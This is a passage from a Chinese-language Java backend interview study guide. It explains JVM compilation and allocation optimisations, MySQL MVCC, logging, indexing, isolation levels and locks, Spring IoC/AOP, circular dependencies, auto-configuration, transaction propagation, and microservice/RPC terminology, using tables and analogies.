- 员工一直不离职(线程池复用)→ 柜子永远占着 → 储物间爆满(内存泄漏)
- 解决:用完柜子就清空(remove)
JIT / AOT —— 两种编译时机
| JIT(Just In Time) | AOT(Ahead Of Time) | |
|---|---|---|
| 什么时候编译 | 运行时边跑边编译 | 运行前就编译好 |
| 怎么工作 | 先解释执行,发现“热点代码”(如被调用 1 万次的方法)才编译成机器码 | 打包时直接把字节码编译成机器码 |
| 优点 | 能根据运行时情况动态优化(如内联、逃逸分析) | 启动快(省去编译时间)、内存占用小 |
| 缺点 | 启动初期慢(“预热”过程) | 失去动态优化能力 |
| 典型应用 | 传统 Java 应用 | GraalVM Native Image、Android ART |
为什么 Java 服务端要“预热”:
刚启动时,代码还没被 JIT 编译,走解释执行 → 慢。 跑一段时间后,热点代码被编译成机器码 → 快。 所以压测前要“预热”几分钟,否则测出来的是解释执行的性能。
TLAB / 逃逸分析 —— 两个“对象分配优化”
TLAB(Thread Local Allocation Buffer)
一句话:每个线程在 Eden 区预分配一小块专属内存,分配对象时不需要加锁。
为什么:堆是线程共享的,多个线程同时 new 对象会有竞争。 解决:给每个线程一小块私有地盘,各分配各的,无需同步。
逃逸分析(Escape Analysis)
一句话:JIT 分析对象会不会“逃出”方法,如果不会,就直接在栈上分配(而不是堆上)。
public void foo() { User u = new User(); // u 只在方法内用,没有 return 出去 u.setName("张三"); } // 方法结束,u 就没人用了这种情况,对象可以分配在栈上,方法结束自动销毁,完全不需要 GC。
其他优化:
- 标量替换:把对象拆成基本类型,连对象都不创建
- 锁消除:发现锁对象不会逃逸,直接把
synchronized去掉
第五章:数据库
这一章对应 03 号文档(《数据库与缓存》)。 MVCC、WAL、redo/undo、回表、覆盖索引、间隙锁 是 MySQL 面试的核心,也是缩写重灾区。
5.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| MVCC | Multi-Version Concurrency Control | 多版本并发控制:同一行数据保留多个版本,读不加锁 | 02/03 |
| WAL | Write-Ahead Logging | 预写日志:先写日志再改数据,保证崩溃能恢复 | 03 |
| redo log | Redo Log(重做日志) | InnoDB 的日志,崩溃后用它恢复已提交的数据 | 03/07 |
| undo log | Undo Log(回滚日志) | 记录修改前的值,用于回滚和 MVCC 读历史版本 | 02/03/07 |
| binlog | Binary Log(二进制日志) | MySQL Server 层的日志,用于主从复制和数据恢复 | 02/03/10 |
| B+Tree | B Plus Tree | MySQL 索引的底层数据结构(多路平衡查找树) | 03 |
| 回表 | — | 二级索引没查全,得再回主键索引查一次 | 03 |
| 覆盖索引 | Covering Index | 索引里就有要查的所有字段,不用回表 | 03 |
| 索引下推 | Index Condition Pushdown(ICP) | 把过滤条件下推到存储引擎,减少回表次数 | 03 |
| 最左前缀 | Leftmost Prefix | 联合索引必须从最左边开始匹配才生效 | 03 |
| 间隙锁 | Gap Lock | 锁住两条记录之间的空隙,防止插入(解决幻读) | 03 |
| Next-Key Lock | Next-Key Lock(临键锁) | 行锁 + 间隙锁,InnoDB 默认的行锁算法 | 03 |
| 幻读 | Phantom Read | 同一事务两次范围查询,行数变了(别人插了新行) | 02/03 |
| 脏读 | Dirty Read | 读到了别人还没提交的数据 | 03 |
| 不可重复读 | Non-Repeatable Read | 同一事务内,同一行两次读结果不同(别人改了并提交) | 03 |
| 当前读 / 快照读 | Current Read / Snapshot Read | 当前读=读最新且加锁;快照读=读历史版本不加锁 | 03 |
| 分库分表 | Sharding | 把数据拆到多个库/表,突破单机瓶颈 | 03/05 |
| 读写分离 | Read-Write Splitting | 写走主库,读走从库 | 03 |
| 外键 | Foreign Key | 表之间的引用约束(互联网公司一般不用) | 03 |
| MyBatis-Plus | MyBatis-Plus | MyBatis 的增强工具,不用写简单 SQL | 03/09 |
5.2 核心概念详解
MVCC(Multi-Version Concurrency Control)—— MySQL 高并发的秘密
Multi(多)Version(版本)Concurrency(并发)Control(控制) 一句话:同一行数据保留多个历史版本,读的时候读“当时的版本”,读不加锁。
它解决什么问题:
没有 MVCC 时:
事务 A 在读一行数据 → 加读锁
事务 B 要改这行 → 得等 A 读完(阻塞)
→ 【读写互相阻塞,并发度低】
有 MVCC:
事务 A 读的是"版本 1"(快照)
事务 B 同时改成"版本 2"
→ 两者互不干扰,【读写不冲突】✅
它是怎么实现的(三件套):
① 隐藏字段(每行数据都有)
├─ DB_TRX_ID :最后修改这行的事务 ID
├─ DB_ROLL_PTR :回滚指针,指向 undo log 里的上一个版本
└─ DB_ROW_ID :隐藏主键
② undo log(版本链)
当前行: name="李四", trx_id=102, roll_ptr →┐
▼
undo: name="张三", trx_id=100, roll_ptr →┐
▼
undo: name="王五", trx_id=98, roll_ptr → null
→ 一行数据的所有历史版本串成一条【版本链】
③ ReadView(读视图)
事务在"快照读"时生成,记录:
├─ 当前活跃(未提交)的事务 ID 列表
├─ 最小活跃事务 ID
└─ 下一个待分配的事务 ID
判断规则:某个版本对当前事务可见吗?
├─ 版本的事务 ID < 最小活跃 ID → 已提交,【可见】
├─ 版本的事务 ID 在活跃列表里 → 未提交,【不可见】
└─ 否则沿着版本链往前找,直到找到可见的版本
关键区分(面试必答):
| 快照读(Snapshot Read) | 当前读(Current Read) | |
|---|---|---|
| 是什么 | 普通的 SELECT |
SELECT ... FOR UPDATE、UPDATE、DELETE、INSERT |
| 读哪个版本 | 历史版本(ReadView 决定) | 最新版本 |
| 加锁吗 | ❌ 不加锁(MVCC 的功劳) | ✅ 加锁(行锁 + 间隙锁) |
| 会不会幻读 | ❌ 不会(MVCC 解决) | ✅ 会(要靠 Next-Key Lock 解决) |
面试高频追问:“MVCC 解决了幻读吗?”
分情况答(这是标准答案):
- 快照读(普通 SELECT):解决了。因为读的是事务开始时的快照,别人新插入的行不在快照里。
- 当前读(SELECT FOR UPDATE):没解决,需要靠 Next-Key Lock(行锁+间隙锁) 来阻止别人插入。
所以准确说法是:InnoDB 在 REPEATABLE READ 下,通过 MVCC + Next-Key Lock jointly 解决了幻读。
WAL(Write-Ahead Logging)与 redo / undo / binlog
WAL 是什么:
Write(写)Ahead(提前)Logging(日志):先写日志,再改数据。
为什么:直接改数据页是随机磁盘 IO(慢),写日志是顺序 IO(快)。 而且崩溃后,可以根据日志恢复。
三个日志的区别(面试必答,最容易混):
| redo log | undo log | binlog | |
|---|---|---|---|
| 属于谁 | InnoDB 引擎层 | InnoDB 引擎层 | MySQL Server 层(所有引擎都能用) |
| 记什么 | 物理日志:“在哪个数据页改了什么” | 逻辑日志:“改之前的值是什么” | 逻辑日志:SQL 语句或行变更 |
| 干什么用 | 崩溃恢复(crash-safe) | 回滚 + MVCC 版本链 | 主从复制 + 数据恢复 |
| 写满怎么办 | 循环写(固定大小,覆盖) | 随事务结束清理 | 追加写(可无限增长) |
为什么要有 redo log 和 binlog 两个(两阶段提交):
场景:执行 UPDATE t SET c = 1 WHERE id = 2
如果不协调:
① 先写 redo log,后写 binlog
→ redo 写完宕机,binlog 没写
→ 崩溃恢复后数据库 c=1,但从库没同步 → 【主从不一致】
② 先写 binlog,后写 redo log
→ binlog 写完宕机,redo 没写
→ 崩溃恢复后数据库 c=0(没改),但从库同步成了 c=1 → 【主从不一致】
解法:两阶段提交(内部 XA)
① redo log prepare(标记为"准备提交")
② 写 binlog
③ redo log commit
崩溃恢复时检查:
├─ redo 是 prepare 且 binlog 完整 → 提交
└─ redo 是 prepare 但 binlog 不完整 → 回滚
生活类比:
- redo log:游戏存档(崩溃后读档恢复到最新进度)
- undo log:撤销记录(按 Ctrl+Z 回到上一步,也是别人看“历史版本”的依据)
- binlog:操作录像(可以拿去给别人重放一遍,比如从库)
B+Tree 与 回表 / 覆盖索引 / 索引下推
为什么是 B+Tree 而不是二叉树/BTree:
二叉搜索树:可能退化成链表(O(n))
红黑树 :树太高(100 万数据 → 20 层 → 20 次磁盘 IO)
BTree :每个节点存数据 → 一页能放的节点少 → 树还是高
B+Tree 的优势:
✅ 非叶子节点【只存索引,不存数据】→ 一页(16KB)能放更多索引 → 【树更矮】
✅ 叶子节点用【链表相连】→ 范围查询极快(顺着链表扫就行)
✅ 树高通常只有 3~4 层 → 只需 3~4 次磁盘 IO 就能找到数据
一层:16KB / (8B 主键 + 6B 指针) ≈ 1170 个索引项
三层:1170 × 1170 × 16 行/页 ≈ 2000 万行数据
→ 【3 次 IO 就能在 2000 万行里找到一条数据】
回表(Bookmark Lookup):
表:user(id 主键, name 普通索引, age)
SQL:SELECT * FROM user WHERE name = '张三';
执行过程:
① 在 name 的二级索引树里找到 '张三' → 得到主键 id = 100
② 拿着 id=100 回到【主键索引树】再查一次 → 拿到 age 等所有字段
第 ② 步就叫【回表】——多了一次索引树查询,性能损耗
覆盖索引(Covering Index)—— 避免回表:
如果索引里就包含了要查的所有字段,就不用回表了:
SQL:SELECT id, name FROM user WHERE name = '张三';
索引:INDEX idx_name(name) ← InnoDB 二级索引的叶子节点本来就存了主键 id
执行:在 idx_name 里找到 '张三',直接就有 id 和 name
→ 【不需要回表】✅
→ EXPLAIN 的 Extra 列会显示 "Using index"
优化技巧:把常查的字段做成【联合索引】,让查询被索引覆盖
SQL:SELECT id, name, age FROM user WHERE name = '张三';
索引:INDEX idx_name_age(name, age) ← 加上 age 就能覆盖
索引下推(ICP,Index Condition Pushdown):
索引:INDEX idx_name_age(name, age)
SQL:SELECT * FROM user WHERE name LIKE '张%' AND age = 20;
没有 ICP(MySQL 5.6 之前):
① 存储引擎按 name LIKE '张%' 找到所有匹配的主键(比如 1000 个)
② 回表 1000 次,把完整行取出来
③ Server 层再过滤 age = 20
→ 【回表 1000 次】❌
有 ICP:
① 存储引擎找到 name LIKE '张%' 的记录
② 【直接在引擎层判断 age = 20】,过滤掉不匹配的
③ 只对剩下的(比如 10 个)回表
→ 【回表 10 次】✅ 性能提升 100 倍
EXPLAIN 的 Extra 显示 "Using index condition"
最左前缀原则:
索引:INDEX idx_abc(a, b, c)
以下能用到索引:
WHERE a = 1 ✅ 用 a
WHERE a = 1 AND b = 2 ✅ 用 a, b
WHERE a = 1 AND b = 2 AND c=3 ✅ 用 a, b, c
WHERE a = 1 AND c = 3 ⚠️ 只用 a(跳过 b,c 用不上)
以下用不到索引:
WHERE b = 2 ❌ 没有最左边的 a
WHERE c = 3 ❌
WHERE b = 2 AND c = 3 ❌
记忆:就像查字典,必须【先按首字母找】,不能直接按第二个字母找
脏读 / 不可重复读 / 幻读 —— 隔离级别要解决的三个问题
| 问题 | 一句话 | 例子 |
|---|---|---|
| 脏读 | 读到了别人未提交的修改 | 你看到余额变成 900,但那人还没提交,最后回滚了 → 你看的 900 是“假数据” |
| 不可重复读 | 同一行,两次读结果不同 | 第一次读 age=20,别人改成 21 并提交,第二次读 age=21 |
| 幻读 | 范围查询,行数变了 | 第一次查“年龄>18 的有 10 人”,别人插入 1 个,第二次查变成 11 人 |
三种问题的严重程度:
脏读 > 不可重复读 > 幻读
(脏读最严重,读到根本不存在的数据)
四种隔离级别与它们的关系:
| 隔离级别 | 脏读 | 不可重复读 | 幻读 | 实现 |
|---|---|---|---|---|
| READ UNCOMMITTED(读未提交) | ❌ 有 | ❌ 有 | ❌ 有 | 啥都不做 |
| READ COMMITTED(读已提交) | ✅ 无 | ❌ 有 | ❌ 有 | 每次 SELECT 生成新 ReadView |
| REPEATABLE READ(可重复读) MySQL 默认 |
✅ 无 | ✅ 无 | ✅ 基本无* | 事务开始时生成一次 ReadView |
| SERIALIZABLE(串行化) | ✅ 无 | ✅ 无 | ✅ 无 | 全部加锁,串行执行 |
*注:MySQL InnoDB 在 REPEATABLE READ 下通过 MVCC(快照读)+ Next-Key Lock(当前读)基本解决了幻读。
为什么 MySQL 默认用 REPEATABLE READ 而 Oracle 用 READ COMMITTED:
历史原因:MySQL 早期的 binlog 只有 STATEMENT 格式, 在 READ COMMITTED 下会有主从复制不一致的问题, 所以 MySQL 默认 RR。后来有了 ROW 格式的 binlog,这个问题不存在了, 但默认值保留了下来。现在很多公司(包括阿里)会改成 RC + ROW, 因为 RC 的锁粒度更小、并发度更高。
间隙锁 / Next-Key Lock —— 解决幻读的武器
数据:id = 1, 5, 10, 15, 20
【记录锁 Record Lock】:锁住单条记录
SELECT * FROM t WHERE id = 5 FOR UPDATE;
→ 只锁住 id=5 这一行
【间隙锁 Gap Lock】:锁住记录之间的"空隙"(不含记录本身)
SELECT * FROM t WHERE id BETWEEN 5 AND 10 FOR UPDATE;
→ 锁住 (5, 10) 这个开区间,别人【不能插入】id=6,7,8,9
→ 但 id=5 和 id=10 这两行本身没被锁
【Next-Key Lock 临键锁】= 记录锁 + 间隙锁(左开右闭区间)
InnoDB 默认的行锁算法
→ 锁住 (5, 10],即间隙 + id=10 这条记录
→ 既不能插入 id=6~9,也不能修改 id=10
为什么要间隙锁:
幻读的本质是“别的事务插入了新行”。 行锁只能锁住已存在的行,锁不住还不存在的行。 所以要用间隙锁,把“可能插入的位置”也锁住。
面试要点:
间隙锁是 RR 隔离级别特有的(RC 下没有,除了外键和唯一索引的某些场景)。 间隙锁的代价是并发度降低 + 更容易死锁,这也是很多公司改用 RC 的原因。
5.3 第五章小结
【一条 UPDATE 语句的完整流程】(面试综合题)
UPDATE t SET name='李四' WHERE id=1;
① 连接器:验证权限
② 分析器:语法分析
③ 优化器:选择索引
④ 执行器 → InnoDB 引擎:
├─ 查 buffer pool(内存),没有就从磁盘加载
├─ 写 undo log(记录旧值,用于回滚 + MVCC)
├─ 修改 buffer pool 里的数据页(内存)
├─ 写 redo log(prepare 状态)
├─ 写 binlog
├─ redo log 改为 commit 状态(两阶段提交完成)
└─ 后台线程异步刷脏页到磁盘
关键点:
* 改的是内存(buffer pool),不是直接改磁盘 → 快
* 先写日志(WAL)→ 崩溃能恢复
* redo + binlog 两阶段提交 → 保证主从一致
深入阅读:03 号文档(数据库与缓存)
第六章:Spring 与开发框架
这一章对应 02 号文档(《开发框架》)。 IoC、AOP、三级缓存、自动配置、事务传播 是 Spring 面试的核心词汇。
6.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| IoC | Inversion of Control | 控制反转:对象的创建权交给框架,你不再自己 new | 01/02/08/10 |
| DI | Dependency Injection | 依赖注入:你需要什么对象,框架自动塞给你 | 02 |
| AOP | Aspect Oriented Programming | 面向切面:把日志、事务这类横切逻辑抽出来统一处理 | 01/02/08/10 |
| Bean | Bean(豆子) | Spring 容器管理的对象,Spring 里的一切都是 Bean | 02/03/09/10 |
| 容器 | Container / ApplicationContext | Spring 的“大盘子”,所有 Bean 都装在里面 | 02/07/08/09/10 |
| 自动配置 | Auto Configuration | Spring Boot 的“约定大于配置”:根据你引入的 jar 自动配好 | 02 |
| 循环依赖 | Circular Dependency | A 依赖 B,B 又依赖 A,形成环 | 02 |
| 三级缓存 | Three-Level Cache | Spring 解决循环依赖的三个 Map | 02 |
| 事务传播 | Propagation | 一个带事务的方法调用另一个带事务的方法,事务怎么处理 | 02/03/07 |
| 隔离级别 | Isolation Level | 事务之间的隔离程度(见第五章 5.2 节) | 02/03/07 |
| MVC | Model-View-Controller | 模型-视图-控制器,Web 分层架构 | 02/09 |
| ORM | Object Relational Mapping | 对象关系映射:数据库表和 Java 对象自动互转 | 03/09 |
| DAO | Data Access Object | 数据访问层,专门写数据库操作的类 | 02/03 |
| DTO | Data Transfer Object | 数据传输对象,接口之间传数据用的 | 02/03/09 |
| VO | View Object | 视图对象,返回给前端的数据结构 | 02/09 |
| PO / Entity | Persistent Object | 持久化对象,和数据库表一一对应 | 02/03 |
| BO | Business Object | 业务对象,封装业务逻辑 | 02 |
| POJO | Plain Old Java Object | 普通 Java 对象,不继承任何框架类的干净对象 | 02 |
| SPI | Service Provider Interface | 服务发现机制:让框架能找到你的实现类 | 02 |
| JPA | Java Persistence API | Java 持久层规范,Hibernate 是它的实现 | 03 |
| @Component 系列 | — | @Service/@Repository/@Controller 都是它的特化 |
02 |
| 工作流 | Workflow | 把“一件事的审批步骤”画成流程图,交给引擎自动推进 —— 改流程=改图,不用改代码 | 14 |
| BPM | Business Process Management | 业务流程管理,一门“怎么把公司流程管好”的方法论(是想法,不是软件) | 14 |
| BPMN | Business Process Model and Notation | 画流程图的统一符号标准,让流程图能被程序读懂(BPM 的“图纸规范”) | 14 |
| 工作流引擎 | Process Engine | 读懂流程图、并按图把任务一步步推给对应人的运行时程序 | 14 |
| Activiti / Flowable / Camunda | — | 三个同源的 Java 工作流引擎(2016 年核心团队出走 fork 成三支),API 与表结构高度相似 | 14 |
| 流程定义 | ProcessDefinition | 画好的那张“图纸”本身(等于 Java 的 Class),可有多个版本 | 14 |
| 流程实例 | ProcessInstance | 按图纸跑起来的“一次具体审批”(等于 Class new 出来的对象) | 14 |
| 执行流 | Execution | 流程实例里的“当前指针”,并行分支时一个实例会有多个 | 14 |
| 用户任务 | User Task | 需要人点“同意/拒绝”的节点(区别于机器自动执行的 Service Task) | 14 |
| 网关 | Gateway | 流程图里的“岔路口”:排他 X=只走一条、并行 +=全走、包容 O=满足的都走 | 14 |
| 流程变量 | Process Variable | 跟着流程实例走的数据包,网关条件和审批人表达式都靠它(★ 建议只存 String/数字) | 14 |
| 会签 | Multi-instance(多实例) | 一个节点要多个人都审批,可配“全部通过”或“比例通过”才继续 | 14 |
| 加签 | Add Sign | 审批中途临时“再加一个人来审”(前加签 / 后加签) | 14 |
| 转办 / 委派 | Transfer / Delegate | 转办=任务换主人一去不回;委派=临时借给别人,办完回到我手上确认 | 14 |
| 驳回 / 撤回 | Reject / Withdraw | 驳回=审批不通过退回上一节点;撤回=发起人主动收回未完成的审批 | 14 |
| 边界事件 | Boundary Event | 挂在任务边上的“监听器”,比如 72 小时未处理就自动走另一条路 | 14 |
| 监听器 | Listener | 流程走到某个点时自动回调你的代码(★ 在引擎事务内同步执行,抛异常会回滚流程) | 14 |
| 候选组 | Candidate Group | 任务不指定某个人而是给一个角色/部门,组内谁都能领(需 claim 签收) | 14 |
6.2 核心概念详解
IoC 与 DI —— 这两个词经常一起出现,但不是一回事
| IoC(控制反转) | DI(依赖注入) | |
|---|---|---|
| 是什么 | 一种思想:把对象的创建控制权交给外部 | 一种实现手段:通过注入的方式把依赖传进去 |
| 白话 | “别自己 new 了,让别人给你” | “你需要什么,我直接塞给你” |
| 关系 | 目标 | 实现 IoC 的具体方式 |
对比传统写法:
// 传统:自己 new,自己管理(控制权在自己手里)
public class OrderService {
private UserDao userDao = new UserDaoImpl(); // 硬编码,耦合
}
// IoC/DI:只声明"我需要什么",Spring 负责创建并注入
@Service
public class OrderService {
@Autowired
private UserDao userDao; // Spring 自动注入
}
为什么要这样(三大好处):
- 解耦:换实现类不用改代码(换
UserDaoImpl为UserDaoNewImpl,只改配置) - 好测试:可以注入 mock 对象
- 统一管理:对象的生命周期(单例/多例)、初始化、销毁都由容器管
生活类比:
- 传统方式:你自己买菜、洗菜、切菜、炒菜(全程自己控制)
- IoC:你去餐厅,点菜就行,厨房(容器)负责做,做好了端给你(DI)
- 你不再关心“菜从哪来、怎么做的”,只关心“我要吃这个”
AOP(Aspect Oriented Programming,面向切面编程)
一句话:把散落在各处的重复逻辑(日志、事务、鉴权)抽出来,统一“切”进业务方法。
为什么需要它:
没有 AOP:每个方法都要写一遍
public void createOrder() {
log.info("方法开始"); ← 重复
事务.begin(); ← 重复
... 业务逻辑 ...
事务.commit(); ← 重复
log.info("方法结束"); ← 重复
}
// 100 个方法就要写 100 遍!
有 AOP:
public void createOrder() {
... 只写业务逻辑 ...
}
// 日志、事务由切面统一处理,业务代码干干净净
核心术语(面试常考,必须能说清):
| 术语 | 含义 | 白话 |
|---|---|---|
| 切面 Aspect | 横切逻辑的模块化 | “日志”这个功能整体 |
| 连接点 Join Point | 可以被增强的地方 | 所有方法(理论上都能增强) |
| 切点 Pointcut | 实际被增强的那些点 | “我只要 Service 层的所有方法” |
| 通知 Advice | 增强的具体逻辑 + 时机 | “在方法前打日志” |
| 织入 Weaving | 把切面应用到目标对象的过程 | 把日志代码“缝”进业务方法 |
| 代理 Proxy | 织入后生成的新对象 | 你拿到的是包装过的对象 |
五种通知的执行顺序(面试高频,很多人答错):
正常情况:
@Around(前半部分)
→ @Before
→ 目标方法执行
→ @AfterReturning(方法正常返回)
@Around(后半部分)
@After(无论成功失败都会执行)
异常情况:
@Around(前半部分)
→ @Before
→ 目标方法抛异常
→ @AfterThrowing(捕获异常)
@Around(后半部分,如果没吞异常就不会执行)
@After(仍然执行)
口诀:Around 包住所有,After 最后执行
底层实现(JDK 动态代理 vs CGLIB):
| JDK 动态代理 | CGLIB | |
|---|---|---|
| 要求 | 目标类必须实现接口 | 可以没有接口,直接继承 |
| 原理 | 生成接口的代理实现类 | 生成目标类的子类 |
| 限制 | 只能代理接口方法 | 不能代理 final 类/方法 |
| Spring 选谁 | 有接口就用 | 没接口就用(Spring Boot 默认全用 CGLIB) |
循环依赖与三级缓存 —— Spring 的高频难题
什么是循环依赖:
@Service
public class A {
@Autowired
private B b; // A 依赖 B
}
@Service
public class B {
@Autowired
private A a; // B 又依赖 A
}
// 创建 A → 需要 B → 创建 B → 需要 A → ... 死循环
Spring 怎么解决(三级缓存):
三个 Map:
一级缓存 singletonObjects
└─ 存放【完全初始化好】的 Bean(能用)
二级缓存 earlySingletonObjects
└─ 存放【提前暴露】的 Bean(还没初始化完,但已经实例化)
三级缓存 singletonFactories
└─ 存放 Bean 的【工厂对象】(能生成早期引用,处理 AOP 代理)
创建 A 的完整过程(面试常让口述):
① 创建 A:
- 实例化 A(new 出来,属性还是空)
- 把 A 的【工厂】放进三级缓存
- 给 A 的属性赋值 → 发现需要 B
② 创建 B:
- 实例化 B
- 把 B 的工厂放进三级缓存
- 给 B 的属性赋值 → 发现需要 A
- 【去缓存里找 A】:
├─ 一级缓存:没有(A 还没完成)
├─ 二级缓存:没有
└─ 三级缓存:找到了!通过工厂拿到 A 的早期引用
- 把 A 的早期引用注入给 B
- B 初始化完成 → B 进一级缓存
③ 回到 A:
- 拿到已经创建好的 B,注入给 A
- A 初始化完成 → A 进一级缓存
完成!循环解开 ✅
为什么必须是三级,两级不行吗(加分题):
关键在于 AOP 代理。 如果 A 需要被代理(比如 A 上有
@Transactional),那么注入给 B 的应该是代理对象,不是原始对象。 三级缓存存的是工厂(ObjectFactory),它能在需要时决定“是返回原始对象还是代理对象”。 如果只有两级缓存,就必须在实例化后立刻创建代理,破坏了 Bean 的生命周期设计。
哪些情况循环依赖解决不了(面试必答):
| 场景 | 能解决吗 | 原因 |
|---|---|---|
字段注入(@Autowired 在字段上) |
✅ 能 | Spring 的默认支持 |
| setter 注入 | ✅ 能 | 同上 |
| 构造器注入 | ❌ 不能 | 构造器调用时 Bean 还没实例化,无法提前暴露 |
| prototype 作用域 | ❌ 不能 | prototype 不进缓存,每次都新建 |
@Async 导致的循环依赖 |
❌ 不能 | @Async 的代理创建时机特殊 |
面试怎么说:
“Spring 用三级缓存解决循环依赖。核心是’提前暴露’:Bean 实例化后虽然还没初始化完, 但先把它的工厂放进三级缓存,让依赖它的 Bean 能拿到早期引用。 三级缓存存工厂是为了处理 AOP 代理——需要时才决定返回原始对象还是代理对象。 但构造器注入和 prototype 的循环依赖解决不了,会直接报错。”
自动配置(Auto Configuration)—— Spring Boot 的“魔法”
一句话:你引入什么 jar,Spring Boot 就自动给你配好相应的 Bean,不用写 XML。
它怎么知道该配什么:
① 启动类上的 @SpringBootApplication
└─ 包含 @EnableAutoConfiguration
② @EnableAutoConfiguration 会加载
META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
(Spring Boot 2.7+ 的新格式,旧版是 META-INF/spring.factories)
这个文件里列了【所有可能的自动配置类】(100+ 个)
③ 每个自动配置类都有【条件注解】,只有满足条件才生效
例:RedisAutoConfiguration
@ConditionalOnClass(RedisOperations.class) ← classpath 里有 Redis 相关类才生效
@ConditionalOnMissingBean(RedisTemplate.class) ← 你自己没配 RedisTemplate 我才配
public RedisTemplate redisTemplate() { ... }
④ 所以:你引入 spring-boot-starter-data-redis
→ classpath 里有 Redis 的类
→ 条件满足 → 自动给你配好 RedisTemplate
→ 你直接 @Autowired 就能用
核心机制:条件注解(面试必答):
| 注解 | 作用 |
|---|---|
@ConditionalOnClass |
classpath 里有某个类才生效 |
@ConditionalOnMissingBean |
容器里没有这个 Bean 才生效(让用户能覆盖默认配置) |
@ConditionalOnProperty |
配置文件里有某个配置才生效 |
@ConditionalOnBean |
容器里有某个 Bean 才生效 |
@ConditionalOnWebApplication |
是 Web 应用才生效 |
@ConditionalOnMissingBean 为什么最重要:
它体现了 Spring Boot 的设计哲学:“用户没配,我才配;用户配了,听用户的”。 这就是所谓的“约定大于配置”——我给你一个合理的默认值,但永远允许你覆盖。
面试怎么说:
“自动配置的核心是条件注解。Spring Boot 启动时会加载所有自动配置类, 但每个类上都带条件(比如 classpath 里有没有对应的类、用户自己有没有配过), 只有条件都满足才生效。所以你引入 starter 就等于告诉 Boot ‘我要用这个功能’, 它就自动配好。如果你想自定义,只要自己声明一个同类型的 Bean,
@ConditionalOnMissingBean会让默认配置自动让位。”
事务传播行为(Propagation)—— 七个里只需记住三个
一句话:一个事务方法调用另一个事务方法时,第二个方法用谁的事务?
七个传播行为,按重要性:
| 传播行为 | 含义 | 白话 | 什么时候用 |
|---|---|---|---|
| REQUIRED(默认) | 有事务就加入,没有就新建 | “跟着走” | 99% 的场景 |
| REQUIRES_NEW | 挂起当前事务,新建一个独立事务 | “我单干” | 操作日志(主业务回滚,日志也要记下来) |
| NESTED | 嵌套事务,外层回滚内层也回滚,内层回滚不影响外层 | “分支” | 少见 |
| SUPPORTS | 有就用,没有就不用 | “随缘” | 查询方法 |
| NOT_SUPPORTED | 不用事务,有就挂起 | “别用事务” | 特殊优化 |
| NEVER | 不能用事务,有就报错 | “禁止” | 极罕见 |
| MANDATORY | 必须有事务,没有就报错 | “必须有” | 极罕见 |
REQUIRES_NEW 的经典场景(面试举例):
@Service
public class OrderService {
@Transactional
public void createOrder() {
// 主业务
orderMapper.insert(order);
try {
logService.recordLog("创建订单"); // REQUIRES_NEW
} catch (Exception e) {
// 日志失败不能影响主业务
}
// 主业务失败 → 回滚订单
// 但【日志已经用独立事务提交了,不会被回滚】✅
}
}
@Service
public class LogService {
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void recordLog(String msg) { ... }
}
面试高频:“REQUIRED 和 REQUIRES_NEW 的区别?”
“REQUIRED 是加入当前事务,大家一起成功一起失败。 REQUIRES_NEW 是挂起当前事务、新开一个,两个事务互不影响—— 外层回滚不影响内层,内层回滚也不影响外层。 典型场景是操作日志:主业务失败了要回滚,但’尝试过这个操作’的日志必须留下来。”
第七章:微服务与分布式中间件
这一章对应 02、07、08 号文档中的微服务部分。 RPC、熔断、降级、限流 是微服务的核心词汇,也是面试必考。
7.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| RPC | Remote Procedure Call | 远程过程调用:像调用本地方法一样调用远程服务 | 02/07/08 |
| gRPC | Google RPC | Google 出的 RPC 框架,用 HTTP/2 + Protobuf,性能好 | 02/07 |
| Dubbo | Dubbo | 阿里开源的 RPC 框架(后归 Apache) | 02/07 |
| 注册中心 | Service Registry | 服务的“电话簿”,记录哪个服务在哪台机器 | 02/07/08 |
| 配置中心 | Config Center | 集中管理配置,改配置不用重启 | 02/07 |
| Nacos | Naming and Configuration Service | 阿里开源的注册中心 + 配置中心二合一 | 01/02/07 |
| 限流 | Rate Limiting | 限制请求速率,超出的拒绝(保护自己) | 01~10 全有 |
| 熔断 | Circuit Breaking | 下游挂了就“断闸”,直接快速失败,不再调用 | 02/08/10 |
| 降级 | Degradation / Fallback | 保核心、弃次要,返回兜底数据 | 01/02/03/04/06/08/10 |
| 隔离 | Bulkhead(舱壁隔离) | 不同业务用不同线程池,互不拖累 | 02/08 |
| Sentinel | Sentinel | 阿里开源的流量治理组件(限流/熔断/降级) | 02/03/07/08/10 |
| Gateway | API Gateway | 网关,所有请求的统一入口(鉴权/路由/限流) | 02/08 |
| 负载均衡 | Load Balancing | 把请求分摊到多台机器 | 02/04/05/07/10 |
| 灰度发布 | Canary Release / Gray Release | 先放 1% 流量给新版本,没问题再全量 | 02/07 |
| 分布式锁 | Distributed Lock | 跨 JVM 的锁,保证多个实例间互斥 | 02/03/04/06/10 |
| Redisson | Redisson | Redis 的 Java 客户端,封装了分布式锁等高级功能 | 02/03/04/06/10 |
| 看门狗 | Watchdog | Redisson 的锁自动续期机制 | 03/04 |
| 服务雪崩 | Service Avalanche | 一个服务挂了,拖垮整条调用链 | 02/08 |
7.2 核心概念详解
RPC(Remote Procedure Call,远程过程调用)
Remote(远程)Procedure(过程/方法)Call(调用) 一句话:调用另一台机器上的方法,但写起来像调用本地方法一样。
它隐藏了什么:
// 你写的代码(像本地调用)
User user = userService.getUserById(1001);
// 实际上 RPC 框架帮你做了:
// ① 找到提供 UserService 的机器在哪(服务发现)
// ② 把方法名、参数序列化成字节流
// ③ 通过网络发送过去
// ④ 远端反序列化,执行真正的方法
// ⑤ 把结果序列化回来
// ⑥ 你拿到结果,全程像没发生过网络调用一样
RPC vs HTTP(面试常问):
| RPC(如 Dubbo/gRPC) | HTTP(如 REST/OpenFeign) | |
|---|---|---|
| 协议 | 自定义协议 / HTTP2 | HTTP 1.1 |
| 序列化 | 二进制(Protobuf/Hessian),快 | JSON 文本,慢但可读 |
| 性能 | 高(连接复用、二进制) | 中 |
| 跨语言 | gRPC 好,Dubbo 一般 | 天然跨语言 |
| 调试 | 麻烦(二进制看不懂) | 简单(curl 就能调) |
| 适合 | 内部服务高频调用 | 对外接口、跨团队协作 |
RPC 框架的三大组件:
